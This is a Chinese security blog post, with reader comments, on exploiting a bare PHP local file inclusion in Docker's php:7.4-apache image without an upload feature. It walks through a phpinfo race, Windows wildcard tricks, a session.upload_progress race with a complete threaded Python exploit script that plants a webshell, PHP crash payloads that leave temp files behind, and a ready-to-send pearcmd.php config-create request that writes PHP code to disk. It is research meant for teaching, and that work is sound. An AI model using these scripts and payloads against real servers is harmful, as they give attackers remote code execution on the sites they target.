Docker PHP裸文件本地包含综述

本文首发在跳跳糖社区

2018年『代码审计』星球举办的Code-Breaking Puzzles非常成功,后面我就一直想再做一次类似的活动。Code-Breaking属于极其偏向于trick分享的代码审计谜题,所以要求题目具有一定的独创性,最好是能用10行以内的代码片段,描述一个具有实战价值的场景。

大概在去年疫情在家办公那段时间,有个同学问过我一个问题,他遇到了一个PHP文件包含漏洞,但找不到利用方法,目标是跑在Docker里,也没找到太多可以利用的文件。我当时觉得这是老生常谈的问题了,就跟他讲了几个我已知的方法,但后来我自己下去研究的时候又发现了一种新方法,个人感觉还挺适合放到Code-Breaking里作为题目的,就暂放到题库里了。

没想到Code-Breaking一直难产到了2021年,直到十一期间我在研究Caddy相关的安全问题时,无意间看到一篇RCTF 2021的Writeup,才发现这个trick被用掉了(最早出现在2020年巅峰极客比赛中)。有点心痛,于是把所有方法整理一下发表了这篇文章,也算没把研究成果浪费掉。

这篇文章研究的题目是:在使用Docker官方的PHP镜像php:7.4-apache时,Web应用存在文件包含漏洞,在没有文件上传的情况下如何利用?

我们可以使用docker启动一个服务器进行测试,命令是docker run -d --name web -p 8080:80 -v $(pwd):/var/www/html php:7.4-apache,文件包含的代码如下:

<?php
include $_REQUEST['file'];

0x01 日志文件包含为什么不行?

这个问题经常在实战中遇到了,特别是黑盒的情况下,功能点也少,找不到可以被包含的文件。通常此时我们会去尝试包含一些系统日志、Web日志等系统文件。

但是,如果目标在Docker环境中会具有如下特点:

  • 容器只会运行Apache,所以没有第三方软件日志
  • Web日志重定向到了/dev/stdout/dev/stderr

我们可以查看PHP的Dockerfile,会发现有几个日志文件都被使用标准输出、标准错误的软链接替代了:

# logs should go to stdout / stderr
    ln -sfT /dev/stderr "$APACHE_LOG_DIR/error.log"; \
    ln -sfT /dev/stdout "$APACHE_LOG_DIR/access.log"; \
    ln -sfT /dev/stdout "$APACHE_LOG_DIR/other_vhosts_access.log"; \
    # ...

此时包含这些Web日志会出现include(/dev/pts/0): failed to open stream: Permission denied的错误,因为PHP没有权限包含设备文件:

image.png

所以,利用日志包含来getshell的方法就无法进行了。

远程包含因为默认不开启,所以我们也不作为一个候选项,想要getshell还是需要找到一个可以控制内容的文件进行包含。

0x02 phpinfo与条件竞争

第二个想到的方法自然就是经典的临时文件包含,这个方法出自于Insomniasec的安全研究员Brett Moore在2011年的一篇Paper《LFI WITH PHPINFO() ASSISTANCE》。

我们对任意一个PHP文件发送一个上传的数据包时,不管这个PHP服务后端是否有处理$_FILES的逻辑,PHP都会将用户上传的数据先保存到一个临时文件中,这个文件一般位于系统临时目录,文件名是php开头,后面跟6个随机字符;在整个PHP文件执行完毕后,这些上传的临时文件就会被清理掉。

所以,临时文件的生命周期大概是这样(图来自Gynvael Coldwind):

image.png

在从“PHP writes data to temp file”到“php removes temp files(if any)”这两个操作之间的这段时间,我们可以包含这个临时文件,最后完成getshell操作。但这里面暗藏了一个大坑就是,临时文件的文件名我们是不知道的

所以这个利用的条件就是,需要有一个地方能获取到文件名,例如phpinfo。phpinfo页面中会输出这次请求的所有信息,包括$_FILES变量的值,其中包含完整文件名:

image.png

但第二个难点就是,即使我们能够在目标网站上找到一个phpinfo页面并读取到临时文件名,这个文件名也是这一次请求里的临时文件,在这次请求结束后这个临时文件就会被删掉,并不能在后面的文件包含请求中使用。

所以此时需要利用到条件竞争(Race Condition),原理也好理解——我们用两个以上的线程来利用,其中一个发送上传包给phpinfo页面,并读取返回结果,找到临时文件名;第二个线程拿到这个文件名后马上进行包含利用。

这是一个很理想的状态,现实情况下我们需要借助下面这些方法来提高成功率:

  • 使用大量线程来进行第二个操作,来让包含操作尽可能早于临时文件被删除
  • 如果目标环境开启了output_buffering这个配置(在某些环境下是默认的),那么phpinfo的页面将会以流式,即chunked编码的方式返回。这样,我们可以不必等到phpinfo完全显示完成时就能够读取到临时文件名,这样成功率会更高
  • 我们可以在请求头、query string里插入大量垃圾字符来使phpinfo页面更大,返回的时间更久,这样临时文件保存的时间更长。但这个方法在不开启output_buffering时是没有影响的。

经过测试我发现,不管目标环境是否开启output_buffering,都可以利用成功,可能只是成功率有所差别:

image.png

这里面的exp.py即为原作者给出的利用脚本。我在Docker PHP 7.4下用150线程进行了大概20次尝试,最终成功,成功后会写入一个新的文件/tmp/g,这个文件就不会被删除了。

这个利用方法有一处真实案例可以参考:《自如网某业务文件包含导致命令执行(LFI + PHPINFO getshell 实例)》。

0x03 Windows 通配符妙用

0x02中的利用方法需要两个条件:

  1. 存在phpinfo等可以泄露临时文件名的页面
  2. 网络条件好,才能让Race Condition成功

特别是第一个,现在很少有机会让我们在实战中找到phpinfo页面。但是如果目标操作系统是Windows,我们可以借助一些特殊的Tricks来实现文件包含的利用。

PHP在读取Windows文件时,会使用到FindFirstFileExW这个Win32 API来查找文件,而这个API是支持使用通配符的:

lpFileName

The directory or path, and the file name. The file name can include wildcard characters, for example, an asterisk (*) or a question mark (?).

实际测试下来,PHP中星号和问号并不能直接作为通配符使用。

但我们在MSDN官方文档中还可以看到这样的说明:

The following wildcard characters can be used in the pattern string.

Wildcard character Meaning

* (asterisk) Matches zero or more characters.

? (question mark) Matches a single character.

DOS_DOT Matches either a period or zero characters beyond the name string.

DOS_QM Matches any single character or, upon encountering a period or end of name string, advances the expression to the end of the set of contiguous DOS_QMs.

DOS_STAR Matches zero or more characters until encountering and matching the final . in the name.

其中除了星号和问号外,还提到了三个特殊符号DOS_DOT、DOS_QM、DOS_STAR,虽然官方并没有在文档中给出他们对应的值具体是什么,但在ntifs.h头文件中还是能找到他们的定义:

//  The following constants provide addition meta characters to fully
//  support the more obscure aspects of DOS wild card processing.

#define DOS_STAR        (L'<')
#define DOS_QM          (L'>')
#define DOS_DOT         (L'"')

也就是说:

  • DOS_STAR:即 <,匹配0个以上的字符
  • DOS_QM:即>,匹配1个字符
  • DOS_DOT:即",匹配点号

这样,我们在Windows下,可以使用上述通配符来替代临时文件名中的随机字符串:C:\Windows\Temp\php<<。(由于Windows内部的一些不太明确的原因,这里一般需要用两个<来匹配多个字符)

我们直接向含有文件包含漏洞的页面发送一个上传包:

image.png

根据前文给出的临时文件生命周期,我们上传的文件会在执行文件包含前被写入临时文件中;文件包含时我们借助Windows的通配符特性,在临时文件名未知的情况下成功包含,执行任意代码。

说句题外话,这种上传文件的同时利用临时文件的操作,我在另一篇文章《无字母数字webshell之提高篇》中也利用过,但是有的新人朋友还是很难理解这个过程:

image.png

这确实是一个比较需要从程序员思维转换到黑客思维的过程,很多人最难理解的地方为什么明明看似是两个操作(文件上传+文件包含),却在一个请求中执行了,如果有这个疑问,那么还是需要再继续理解理解整个流程。

0x04 session.upload_progress与Session文件包含

上述的两个方法,其实都没有解决本篇文章遇到的问题,毕竟Docker环境即不存在phpinfo也不存在Windows特性。

第三个方法也已经广为流传,PHP中可以通过session progress功能实现临时文件的写入。这种利用方式需要满足下面几个条件:

  • 目标环境开启了session.upload_progress.enable选项
  • 发送一个文件上传请求,其中包含一个文件表单和一个名字是PHP_SESSION_UPLOAD_PROGRESS的字段
  • 请求的Cookie中包含Session ID

这个方法的原理是,PHP在开启了session.upload_progress.enable后(在包括Docker的大部分环境下默认是开启的),将会把用户上传文件的信息保存在Session中,而PHP的Session默认是保存在文件里的。

所以当攻击者发送满足上述条件的数据包时,就等于能够控制Session文件内容。

我们可以尝试发送满足上述条件的数据包来测试一下,但会发现虽然我们可以让PHP开启Session,从而在/tmp目录下遗留下Session文件,但这个文件内容是空的。

原因是,PHP中还有另外一个配置项session.upload_progress.cleanup,默认开启。在这个选项开启时,PHP会在上传请求被读取完成后自动清理掉这个Session,如果我们尝试把这个选项关闭,就可以读取到Session文件的内容了:

image.png

注意的是,如果我们只上传一个文件,这里也是不会遗留下Session文件的,所以表单里必须有两个以上的文件上传。

所以,默认情况下,我们需要在Session文件被清理前利用它,这也会用到条件竞争(Race Condition)。

因为这里的Session文件名是可控的,所以相比于0x02的条件竞争,这个会简单很多。我写了一个小脚本来利用,几乎没有失败过:

import threading
import requests
from concurrent.futures import ThreadPoolExecutor, wait

target = 'http://192.168.1.162:8080/index.php'
session = requests.session()
flag = 'helloworld'


def upload(e: threading.Event):
    files = [
        ('file', ('load.png', b'a' * 40960, 'image/png')),
    ]
    data = {'PHP_SESSION_UPLOAD_PROGRESS': rf'''<?php file_put_contents('/tmp/success', '<?=phpinfo()?>'); echo('{flag}'); ?>'''}

    while not e.is_set():
        requests.post(
            target,
            data=data,
            files=files,
            cookies={'PHPSESSID': flag},
        )


def write(e: threading.Event):
    while not e.is_set():
        response = requests.get(
            f'{target}?file=/tmp/sess_{flag}',
        )

        if flag.encode() in response.content:
            e.set()


if __name__ == '__main__':
    futures = []
    event = threading.Event()
    pool = ThreadPoolExecutor(15)
    for i in range(10):
        futures.append(pool.submit(upload, event))

    for i in range(5):
        futures.append(pool.submit(write, event))

    wait(futures)

脚本执行完毕后会在目标中写入/tmp/success文件,里面即为Webshell:

image.png

0x05 Segfault遗留下TEMP文件

那么,如果关闭了session.upload_progress.enable,是否还有其他利用方法呢?

我们的目的是在服务器上留下一个内容可控的文件,最简单的方法就是利用上传包的临时文件。但这个临时文件之所以不能直接利用,原因有两点:

  • 临时文件名是随机的
  • 临时文件在请求结束后会被删除

如果说第一点我们可以通过爆破来解决,那么第二点是一定无法同时解决的——我们不可能在请求结束前爆破出临时文件名。

经过上面的分析,我们很容易想到一种解决方案:如果我们可以让PHP进程在请求结束前出现异常退出执行,那么临时文件就可以免于被删除了

PHP底层是C语言开发的,不少内存错误都会导致进程异常退出,当然不论是Apache还是PHP-FPM都会存在master进程,在某一个子进程异常退出后会拉起新的进程来处理用户请求,不用担心搞挂服务器。

国内的安全研究者@王一航 曾发现过一个会导致PHP crash的方法:

include 'php://filter/string.strip_tags/resource=/etc/passwd';

正好用在文件包含的逻辑中。

这个Bug在7.1.20以后被修复,也没有留下更新日志,我们可以使用7.1.19版本的PHP进行尝试。向文件包含的目标发送这个导致crash的路径,可见服务器已经挂了,返回空白:

image.png

我们可以尝试发送10次这个请求,然后来到容器里,可见有10个临时文件都被留在了/tmp目录里:

image.png

这就好办了,我们剩下的工作就是爆破这10个临时文件的文件名。只要任意一个命中即可。

我们也可以在一个数据包里多放一些文件表单(默认最多可以有20个),然后多发送几次数据包,这样就可以在遗留下很多临时文件,极大地增加了爆破成功率,减少了爆破所需要的时间。

类似的还有后来@wupco发现的php://filter中另一个可以导致crash的方法,测试代码是:

<?php
file(urldecode('php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAFAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA'));

不过在文件包含场景下,这个POC涉及到data:协议,会因为allow_url_include=Off而失败。

除了这些利用文件包含本身来crash PHP进程的方法以外,通过一些更通用的无需依赖代码的crash方法也存在,比如https://bugs.php.net/bug.php?id=78875https://bugs.php.net/bug.php?id=78876,但都有一些额外条件。

好在PHP是一个开源的语言,后续我们可以通过阅读底层源码,找找能在最新版本下利用的新crash点。

0x06 pearcmd.php的巧妙利用

最后这个是我想介绍的被我“捂烂了”的trick,就是利用pearcmd.php这个pecl/pear中的文件。

pecl是PHP中用于管理扩展而使用的命令行工具,而pear是pecl依赖的类库。在7.3及以前,pecl/pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定--with-pear才会安装。

不过,在Docker任意版本镜像中,pcel/pear都会被默认安装,安装的路径在/usr/local/lib/php

原本pear/pcel是一个命令行工具,并不在Web目录下,即使存在一些安全隐患也无需担心。但我们遇到的场景比较特殊,是一个文件包含的场景,那么我们就可以包含到pear中的文件,进而利用其中的特性来搞事。

我最早的时候是在阅读phpinfo()的过程中,发现Docker环境下的PHP会开启register_argc_argv这个配置。文档中对这个选项的介绍不是特别清楚,大概的意思是,当开启了这个选项,用户的输入将会被赋予给$argc$argv$_SERVER['argv']几个变量。

如果PHP以命令行的形式运行(即sapi是cli),这里很好理解。但如果PHP以Server的形式运行,且又开启了register_argc_argv,那么这其中是怎么处理的?

我们在PHP源码中可以看到这样的逻辑:

static zend_bool php_auto_globals_create_server(zend_string *name)
{
    if (PG(variables_order) && (strchr(PG(variables_order),'S') || strchr(PG(variables_order),'s'))) {
        php_register_server_variables();

        if (PG(register_argc_argv)) {
            if (SG(request_info).argc) {
                zval *argc, *argv;

                if ((argc = zend_hash_find_ex_ind(&EG(symbol_table), ZSTR_KNOWN(ZEND_STR_ARGC), 1)) != NULL &&
                    (argv = zend_hash_find_ex_ind(&EG(symbol_table), ZSTR_KNOWN(ZEND_STR_ARGV), 1)) != NULL) {
                    Z_ADDREF_P(argv);
                    zend_hash_update(Z_ARRVAL(PG(http_globals)[TRACK_VARS_SERVER]), ZSTR_KNOWN(ZEND_STR_ARGV), argv);
                    zend_hash_update(Z_ARRVAL(PG(http_globals)[TRACK_VARS_SERVER]), ZSTR_KNOWN(ZEND_STR_ARGC), argc);
                }
            } else {
                php_build_argv(SG(request_info).query_string, &PG(http_globals)[TRACK_VARS_SERVER]);
            }
        }

    } else {
        zval_ptr_dtor_nogc(&PG(http_globals)[TRACK_VARS_SERVER]);
        array_init(&PG(http_globals)[TRACK_VARS_SERVER]);
    }
    ...

第一个if语句判断variables_order中是否有S,即$_SERVER变量;第二个if语句判断是否开启register_argc_argv,第三个if语句判断是否有request_info.argc存在,如果不存在,其执行的是这条语句:

php_build_argv(SG(request_info).query_string, &PG(http_globals)[TRACK_VARS_SERVER]);

无论php_build_argv函数内部是怎么处理的,SG(request_info).query_string都非常吸引我,这段代码是否意味着,HTTP数据包中的query-string会被作为argv的值?

果然:

image.png

其实这个结果是符合RFC3875的:

4.4. The Script Command Line

Some systems support a method for supplying an array of strings to
the CGI script. This is only used in the case of an 'indexed' HTTP
query, which is identified by a 'GET' or 'HEAD' request with a URI
query string that does not contain any unencoded "=" characters. For
such a request, the server SHOULD treat the query-string as a
search-string and parse it into words, using the rules

search-string = search-word ( "+" search-word )
search-word = 1
schar
schar = unreserved | escaped | xreserved
xreserved = ";" | "/" | "?" | ":" | "@" | "&" | "=" | "," |
"$"

After parsing, each search-word is URL-decoded, optionally encoded in
a system-defined manner and then added to the command line argument
list.

RFC3875中规定,如果query-string中不包含没有编码的=,且请求是GET或HEAD,则query-string需要被作为命令行参数。

当年PHP-CGI曾在这上面栽过跟头,具体的细节可以参考我以前写的这篇文章:《PHP-CGI远程代码执行漏洞(CVE-2012-1823)分析》。PHP现在仍然没有严格按照RFC来处理,即使我们传入的query-string包含等号,也仍会被赋值给$_SERVER['argv']

我们再来看到pear中获取命令行argv的函数:

public static function readPHPArgv()
{
    global $argv;
    if (!is_array($argv)) {
        if (!@is_array($_SERVER['argv'])) {
            if (!@is_array($GLOBALS['HTTP_SERVER_VARS']['argv'])) {
                $msg = "Could not read cmd args (register_argc_argv=Off?)";
                return PEAR::raiseError("Console_Getopt: " . $msg);
            }
            return $GLOBALS['HTTP_SERVER_VARS']['argv'];
        }
        return $_SERVER['argv'];
    }
    return $argv;
}

先尝试$argv,如果不存在再尝试$_SERVER['argv'],后者我们可通过query-string控制。也就是说,我们通过Web访问了pear命令行的功能,且能够控制命令行的参数。

看看pear中有哪些可以利用的参数:

image.png

第一眼就看到config-create,阅读其代码和帮助,可以知道,这个命令需要传入两个参数,其中第二个参数是写入的文件路径,第一个参数会被写入到这个文件中。

所以,我构造出最后的利用数据包如下:

GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
Host: 192.168.1.162:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close

image.png

发送这个数据包,目标将会写入一个文件/tmp/hello.php,其内容包含<?=phpinfo()?>

image.png

然后,我们再利用文件包含漏洞包含这个文件即可getshell:

image.png

最后这个利用方法,无需条件竞争,也没有额外其他的版本限制等,只要是Docker启动的PHP环境即可通过上述一个数据包搞定。

0x07 参考链接

  • https://dl.packetstormsecurity.net/papers/general/LFI_With_PHPInfo_Assitance.pdf
  • http://www.madchat.fr/coding/php/secu/onsec.whitepaper-02.eng.pdf
  • https://stackoverflow.com/questions/24190389/findfirstfile-undocumented-wildcard-or-bug
  • https://stackoverflow.com/questions/2563316/findfirstfileex-wildcard-characters
  • https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-_fsrtl_advanced_fcb_header-fsrtlisnameinexpression
  • https://www.jianshu.com/p/dfd049924258
  • https://bugs.php.net/bug.php?id=77231
  • http://www.ietf.org/rfc/rfc3875

赞赏

喜欢这篇文章?打赏1元

评论

B0T1 回复

师傅好,当我在虚拟机上测试时,在虚拟机火狐上输入这个网址http://localhost:8080/test.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/3.php,由于<>自动url转码成了%3C?=phpinfo()?%3E,导致文件包含该php文件时不能识别php代码而失败,请问这个怎么解决呢?

B0T1 回复

@B0T1 是关于最后一个pearcmd.php的巧妙利用的试验

phithon 回复

@B0T1 可以尝试使用burpsuite发送数据包。

B0T1 回复

@phithon 嗯,可以了,感谢师傅

B0T1 回复

@phithon 师傅,文章构造数据包payload执行后最后写入文件的是/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>/pear/..
改成这样的顺序:`GET /index.php?file=/usr/local/lib/php/pearcmd.php&+config-create+/<?=phpinfo();?>+/tmp/1.php`会不会更清晰好理解一点?(插入文件内容只有/<?=phpinfo()?>/pear/..)

BSOD 回复

P神太强了

captcha